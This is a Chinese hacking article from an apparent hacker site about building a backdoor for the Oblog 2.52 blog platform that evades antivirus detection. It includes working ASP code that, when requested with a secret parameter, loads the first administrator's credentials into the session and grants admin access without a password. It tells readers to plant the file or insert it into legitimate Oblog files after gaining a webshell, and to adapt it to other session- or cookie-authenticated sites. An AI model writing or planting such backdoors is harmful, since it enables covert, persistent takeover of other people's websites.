利用Session验证做后门
时间:2010-11-20 来源:Hack214
我们最常用的ASP后门要属一句话木马了,因为一句话木马体积小,就那么几个字符,便于隐藏,而且使用起来相当的方便,用它作后门再合适不过了。不过现在杀毒软件也比较厉害,像什么站长ASP助手等只要一扫描,我们的一句话无论加密还是转换字符都不能躲过查杀。最近我在研究Oblog2.52,看了几段源码后倒给了我点灵感。Oblog对管理员的登录采用的是Session验证,我想大概是为了防止Cookie欺骗吧!Session验证确实比Cookie验证安全多了。当然,今天我不是找Oblog新漏洞的,只是做个不被查杀的后门而已,利用什么做后门呢?呵呵,那就用Oblog的Session验证吧!
Session验证做后门
这个后门很新鲜吧?在开始动手之前,我们先了解一下Session验证的原理。Session与Cookie不同,Cookie一般保存在客户端,我们有权修改它的相关内容,若改成其他用户的Cookie,我们就可以用别人的身份登录相应网站,所以Cookie验证不太安全。而Session是在服务端运行的,我们没有权利修改它,所以比较安全。好!废话少说,到这该进入我们的主题了。我们看一下Oblog后台登录文件admin_login.asp的源码,功能很简单,只是把用户填写的表单提交给了admin_chklogin.asp进行处理。此处重点看一下admin_chklogin.asp是怎么进行处理的,下面是其中的一段源码。
看到上面的Session验证了吧?若查询的数据存在则对Session进行赋值“session("AdminName")=rs("username")”、“session("adminpassword")=rs("password")”。我们再看一下admin_index.asp是怎么判断的,在开头的几行有如下代码:
<% if session("AdminName") = "" then //只是判断是不是为空 response.Redirect "Admin_Login.asp" end if %>开始我是这样想的,若再创建一个ASP文件,加入对Session赋值的语句,随便赋予Session一个值,再去访问后台,就可以不用输入密码直接进后台了。况且admin_index.asp只是判断Session是否为空,若不为空就可以进入后台管理了。但在测试的过程中是行不通的,后台还是伸着大手向我要密码。又仔细地研究了一下,原来admin_index.asp文件是由admin_index_left.asp、admin_index_top.asp等几个文件组成的,而这些文件的头部都有如下代码:<!--#include file="Admin_chkpass.asp"-->。看来是admin_chkpass.asp文件在作怪,打开admin_chkpass.asp看完源码后发现了问题的所在,代码如下:
AdminName=replace(session("AdminName"),"'","") //把session(“adminname”)赋予adminname adminpassword=session("adminpassword") //把session(“adminpassword”)赋予adminpassword if AdminName="" then call CloseConn() response.redirect "Admin_login.asp" end if sqlGetAdmin="select id from Admin where UserName='" & AdminName & "' and password='"&adminpassword&"'" //进行sql查询 set rsGetAdmin=server.CreateObject("adodb.recordset") rsGetAdmin.open sqlGetAdmin,conn,1,1 if rsGetAdmin.bof and rsGetAdmin.eof then //若记录不存在,重定向到后台登录 rsGetAdmin.close set rsGetAdmin=nothing call CloseConn() response.redirect "Admin_login.asp" end if rsGetAdmin.close set rsGetAdmin=nothing原来admin_chkpass.asp还要把Session的相应值放到SQL语句中查询一遍,若admin表中存在用户名和密码才能进入,所以我们前面随便给Session赋值是行不通的。知道了原因后,那么下面的构造就简单了,我写了段代码如下:
<!--#include file="conn.asp"--> <%dim username, Dim rs,sql Username=request(“username”) If username=”hack214” then //这句有隐蔽作用 Set rs=server.createobject(“adodb.recordset”) Sql=”select * from admin where id=1” Rs.open sql,conn,1,1 session.Timeout=60 session("AdminName")=rs(“username”) session("adminpassword")=rs("password") rs.close set rs=nothing response.redirect “admin_inex.asp” end if%>把文件保存为hack..asp文件放到Oblog源码的目录里面,也可以插入到正常的Oblog的文件里,当访问“http://***/hack.asp?username=hack214”时就会直接跳到后台管理页面了。我在自己的电脑上试了一下,成功跳转到后台,因为不能用图来表示跳转过程,在这就不抓图了,在后台显示的用户是admin。整个过程中,我们并不知道管理员的用户名和密码,也不需要知道,因为在代码中执行了一次SQL查询:“sql=”select * from admin where id=1””,此句用于查询admin表中id为1的数据,然后把查询得到的数据赋值于Session,那么在经过admin_chkpass.asp时,只是把查询得到的数据再查询一遍,而此记录一定是存在的,所以顺利通过了验证,因为id为1的用户名是admin,所以登录的用户身份就变成了admin,我们就可以以管理员的身份进入后台了。
总结
怎么样,若用这个做后门很不错吧?不需要后台登录,直接就可以进后台了,但前提你要先得到WebShell才行呀!事实上利用起来并不复杂,其它的网站程序都可以用这个方法,若是Session验证的,把上面利用程序要查询的表名改一下,相应的赋值语句改一下,就可以使用了;若是Cookie验证的,只需把Session赋值的语句改成Cookie赋值的语句就可以了,在原理上都是一样的;而且,更重要的是,杀毒软件是绝对不会查杀的,只要网站不更换程序,肉鸡也是跑不掉的。怎么样,够绝吧?有兴趣的读者赶紧试试吧。
标签分类: 脚本入侵